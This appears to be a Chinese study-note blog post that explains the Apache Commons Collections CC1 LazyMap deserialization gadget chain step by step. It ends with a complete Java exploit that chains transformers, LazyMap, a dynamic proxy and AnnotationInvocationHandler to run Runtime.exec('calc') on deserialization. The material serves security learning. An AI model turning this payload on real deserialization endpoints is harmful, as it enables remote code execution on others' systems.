代码审计 | CC1 LazyMap 链 —— 动态代理

代码审计 | CC1 LazyMap 链 ------ 动态代理

学习笔记,记录自己学 CC1 LazyMap 版的思路历程

前置:已经看完 TransformedMap 版,Transformer 链那部分这里就不重复了,直接从"触发点不同"讲起。


目录

  • [和 TransformedMap 版有什么区别](#和 TransformedMap 版有什么区别 "#%E5%92%8C-transformedmap-%E7%89%88%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB")
  • [第一步:LazyMap 的触发机制](#第一步:LazyMap 的触发机制 "#%E7%AC%AC%E4%B8%80%E6%AD%A5lazymap-%E7%9A%84%E8%A7%A6%E5%8F%91%E6%9C%BA%E5%88%B6")
  • [第二步:谁来调用 LazyMap.get()](#第二步:谁来调用 LazyMap.get() "#%E7%AC%AC%E4%BA%8C%E6%AD%A5%E8%B0%81%E6%9D%A5%E8%B0%83%E7%94%A8-lazymapget")
    • [AnnotationInvocationHandler.invoke() 里有 get()](#AnnotationInvocationHandler.invoke() 里有 get() "#annotationinvocationhandlerinvoke-%E9%87%8C%E6%9C%89-get")
    • [invoke() 怎么自动被调用------动态代理](#invoke() 怎么自动被调用——动态代理 "#invoke-%E6%80%8E%E4%B9%88%E8%87%AA%E5%8A%A8%E8%A2%AB%E8%B0%83%E7%94%A8%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86")
  • [第三步:readObject 怎么触发 invoke()](#第三步:readObject 怎么触发 invoke() "#%E7%AC%AC%E4%B8%89%E6%AD%A5readobject-%E6%80%8E%E4%B9%88%E8%A7%A6%E5%8F%91-invoke")
  • [第四步:两层 Handler 的构造](#第四步:两层 Handler 的构造 "#%E7%AC%AC%E5%9B%9B%E6%AD%A5%E4%B8%A4%E5%B1%82-handler-%E7%9A%84%E6%9E%84%E9%80%A0")
  • [完整 Payload](#完整 Payload "#%E5%AE%8C%E6%95%B4-payload")
  • 完整调用链总结
  • [和 TransformedMap 版对比](#和 TransformedMap 版对比 "#%E5%92%8C-transformedmap-%E7%89%88%E5%AF%B9%E6%AF%94")

和 TransformedMap 版有什么区别

TransformedMap 版的触发路径是这样的:

scss 复制代码
readObject()
  └─ setValue()
       └─ checkSetValue()
            └─ ChainedTransformer.transform()  ← 命令执行

LazyMap 版的触发路径是这样的:

scss 复制代码
readObject()
  └─ proxyMap.entrySet()      ← 调用代理对象上的任意方法
       └─ invoke()            ← 动态代理拦截,转到 AnnotationInvocationHandler.invoke()
            └─ LazyMap.get()  ← 这里触发 transform()
                 └─ ChainedTransformer.transform()  ← 命令执行

核心差异:

  • TransformedMap 触发的是 setValue()
  • LazyMap 触发的是 get(),具体是 LazyMap.get(不存在的key) 时自动调用 factory.transform()

Transformer 链本身(ConstantTransformer + 三个 InvokerTransformer)完全一样,不用改。


第一步:LazyMap 的触发机制

先看 LazyMap.get() 的源码,在 org.apache.commons.collections.map.LazyMap 里:

关键逻辑:

java 复制代码
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

只要 get() 时传入一个 map 里不存在的 key,就会自动调用 factory.transform(key)。如果 factory 是我们的 ChainedTransformer,命令就执行了。

还有个问题,LazyMap 类虽然是 public 的,但构造方法是 protected

查找用法找到 decorate(),它是 public 的并且内部会调用 LazyMap(map, factory)

所以构造方式为:

java 复制代码
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);

innerMap 是空的,目的是让后续 get(任意key) 时永远命中 containsKey == false 的分支,稳定触发 transform()

先简单测试一下:

java 复制代码
public static void main(String[] args) throws Exception {
    // 1. 构造 Transformer 链(和 TransformedMap 版完全一样)
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new Object[]{"calc"})
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);

    // 2. 构造 LazyMap
    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.decorate(innerMap, chain);
    lazyMap.get("test");
}

没有问题。"test" 可以是任何值,因为 ChainedTransformer 第一步是 ConstantTransformer(Runtime.class),会直接忽略传入的 key,固定输出 Runtime.class,后面的链跟 key 是什么完全没关系。

现在的问题就是:谁来调用 lazyMap.get()


第二步:谁来调用 LazyMap.get()

搜索结果有 1000 条不止,过滤完也还是很多:

如果是真的挖链,就是一步一步试错加上对 Java 的熟悉程度。这里直接跳到结论------最终找到的是 AnnotationInvocationHandler.invoke()

AnnotationInvocationHandler.invoke() 里有 get()

AnnotationInvocationHandler.invoke() 源码:

关键部分:

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    // ...处理 equals/toString/hashCode 等特殊方法...

    // 普通注解方法的处理
    Object result = memberValues.get(member); // ← 这里!
    // ...
}

invoke() 里会用方法名去 memberValues.get(methodName) 查值。如果 memberValues 是我们的 LazyMap,且这个 key 不存在,就会触发 factory.transform(),链子就起来了。

invoke() 怎么自动被调用------动态代理

invoke()InvocationHandler 接口的方法,AnnotationInvocationHandler 实现了这个接口所以重写了它。配合 Java 动态代理使用:当代理对象上的任何方法被调用时,invoke() 自动介入。

java 复制代码
// 用 handler1 作为 InvocationHandler,代理 Map 接口
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler1  // ← 拦截之后转发给谁,在这里指定的
);

这样,只要谁对 proxyMap 调用了任何方法(比如 entrySet()size()......),都会被 handler1.invoke() 拦截,进而触发 lazyMap.get(方法名)


第三步:readObject 怎么触发 invoke()

现在还差最后一步------反序列化时怎么自动跑到 proxyMap.entrySet()

回到 AnnotationInvocationHandler.readObject() 源码:

java 复制代码
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // ← 注意这里
        // ...
    }
}

readObject() 里有一句 memberValues.entrySet()。如果这个 memberValues 就是我们的 proxyMap(动态代理对象),那么调用 proxyMap.entrySet() 就会:

  1. 触发代理拦截 → handler1.invoke() 被调用,member = "entrySet"
  2. handler1.memberValues.get("entrySet")lazyMap.get("entrySet")
  3. "entrySet" 不在 innerMap 里 → factory.transform("entrySet") 被调用
  4. ChainedTransformer 第一步是 ConstantTransformer,直接输出 Runtime.class,忽略输入 "entrySet"
  5. 后续 InvokerTransformer 链一路跑到 exec("calc")

链就这样通了。


第四步:两层 Handler 的构造

梳理一下整个嵌套结构:

ini 复制代码
handler2(外层 AnnotationInvocationHandler)← 序列化这个
  └─ memberValues = proxyMap(动态代理)
       └─ InvocationHandler = handler1(内层 AnnotationInvocationHandler)
            └─ memberValues = lazyMap
                 └─ factory = ChainedTransformer(Transformer 链)

handler1 和 handler2 的关系

ini 复制代码
handler2
  └─ memberValues = proxyMap
                      └─ InvocationHandler = handler1
                                               └─ memberValues = lazyMap

handler1 通过 proxyMap 被包在 handler2 里面,不是完全独立的。

为什么拦截转发给 handler1.invoke()

因为创建 proxyMap 的时候,指定的 InvocationHandler 就是 handler1

java 复制代码
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler1  // ← 拦截之后转发给谁,在这里指定的
);

动态代理的规则就是:代理对象上任何方法被调用,都转发给创建时指定的那个 InvocationHandlerinvoke() 方法。这里指定的是 handler1,所以就转发给 handler1.invoke()

反序列化时的完整流程:

scss 复制代码
反序列化 handler2
  → 触发 handler2.readObject()
  → readObject() 里调用 memberValues.entrySet()
  → memberValues 是 proxyMap(代理对象),触发拦截
  → 拦截转发给 handler1.invoke()(创建 proxyMap 时指定的)
  → invoke() 里调用 lazyMap.get("entrySet")
  → lazyMap 里没有这个 key
  → 触发 factory.transform()
  → 命令执行

两层 Handler 用的是同一个构造器,只是 memberValues 参数不同。AnnotationInvocationHandler 构造方法是限制访问的,需要反射调用:

java 复制代码
// 反射拿到构造器
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 内层:memberValues = lazyMap
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);

// 动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler1
);

// 外层:memberValues = proxyMap
Object handler2 = constructor.newInstance(Target.class, proxyMap);

完整 Payload

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception {

        // 1. 构造 Transformer 链(和 TransformedMap 版完全一样)
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        // 2. 构造 LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);

        // 3. 构造内层 AnnotationInvocationHandler(handler1)
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(
            java.lang.annotation.Target.class, lazyMap
        );

        // 4. 创建代理对象(代理 Map 接口,InvocationHandler 是 handler1)
        Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[]{Map.class},
            handler1
        );

        // 5. 构造外层 AnnotationInvocationHandler(handler2),memberValues 是 proxyMap
        Object handler2 = constructor.newInstance(
            java.lang.annotation.Target.class, proxyMap
        );

        // 6. 序列化 handler2
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler2);
        byte[] payload = baos.toByteArray();

        // 7. 反序列化(触发链)
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

运行效果:


完整调用链总结

scss 复制代码
反序列化
  └─ AnnotationInvocationHandler(handler2).readObject()    ← 自动触发
       └─ proxyMap.entrySet()                                ← memberValues 是代理对象
            └─ AnnotationInvocationHandler(handler1).invoke()  ← 代理拦截
                 └─ lazyMap.get("entrySet")                  ← memberValues 是 LazyMap
                      └─ ChainedTransformer.transform()      ← "entrySet" key 不存在,触发
                           ├─ ConstantTransformer            → Runtime.class(忽略输入)
                           ├─ InvokerTransformer             → getMethod("getRuntime")
                           ├─ InvokerTransformer             → invoke() → Runtime 实例
                           └─ InvokerTransformer             → exec("calc")  🎯

和 TransformedMap 版对比

TransformedMap 版 LazyMap 版
触发点 setValue() LazyMap.get()
中间层 TransformedMap LazyMap + 动态代理
readObject 里的触发动作 for 循环里的 memberValue.setValue() memberValues.entrySet()
Handler 层数 一层 两层(外层 handler2 + 内层 handler1)
动态代理 不需要 需要
Transformer 链 完全相同 完全相同

LazyMap 版稍微绕一点,多了一个动态代理的转发层,但思路是一样的------都是想办法让 readObject() 里能自动走到 transform()

相关推荐
星辰徐哥2 小时前
Spring Boot 微服务架构设计与实现
spring boot·后端·微服务
星辰徐哥2 小时前
Spring Boot 数据导入导出与报表生成
spring boot·后端·ui
明夜之约2 小时前
Spring Boot 自动装配源码
java·spring boot·后端
Leaton Lee2 小时前
Spring Boot分层架构详解:从Controller到Service再到Mapper的完整流程
java·spring boot·后端·架构
Micro麦可乐2 小时前
Spring Boot 实战:从零设计一个短链系统(含完整代码与数据库设计)
数据库·spring boot·后端·哈希算法·雪花算法·短链系统
Jinkxs2 小时前
Resilience4j- 与 Spring Boot 快速集成:自动配置与基础注解使用
java·spring boot·后端
毕设源码_郑学姐2 小时前
计算机毕业设计springboot网络相册设计与实现 基于Spring Boot框架的在线相册管理系统开发与应用 Spring Boot驱动的网络影集设计与实践
spring boot·后端·课程设计
辣机小司2 小时前
【踩坑记录:Spring Boot 配置文件读取值不一致?警惕 YAML 的“八进制陷阱”与 SnakeYAML 版本之谜】
java·spring boot·后端·yaml·踩坑记录
码农阿豪2 小时前
从零到一:Spring Boot快速接入金仓数据库实战
数据库·spring boot·后端
追逐时光者2 小时前
一个基于 .NET 与 Avalonia 构建、面向 TrinityCore 的开源 WoW 数据库编辑器
后端·.net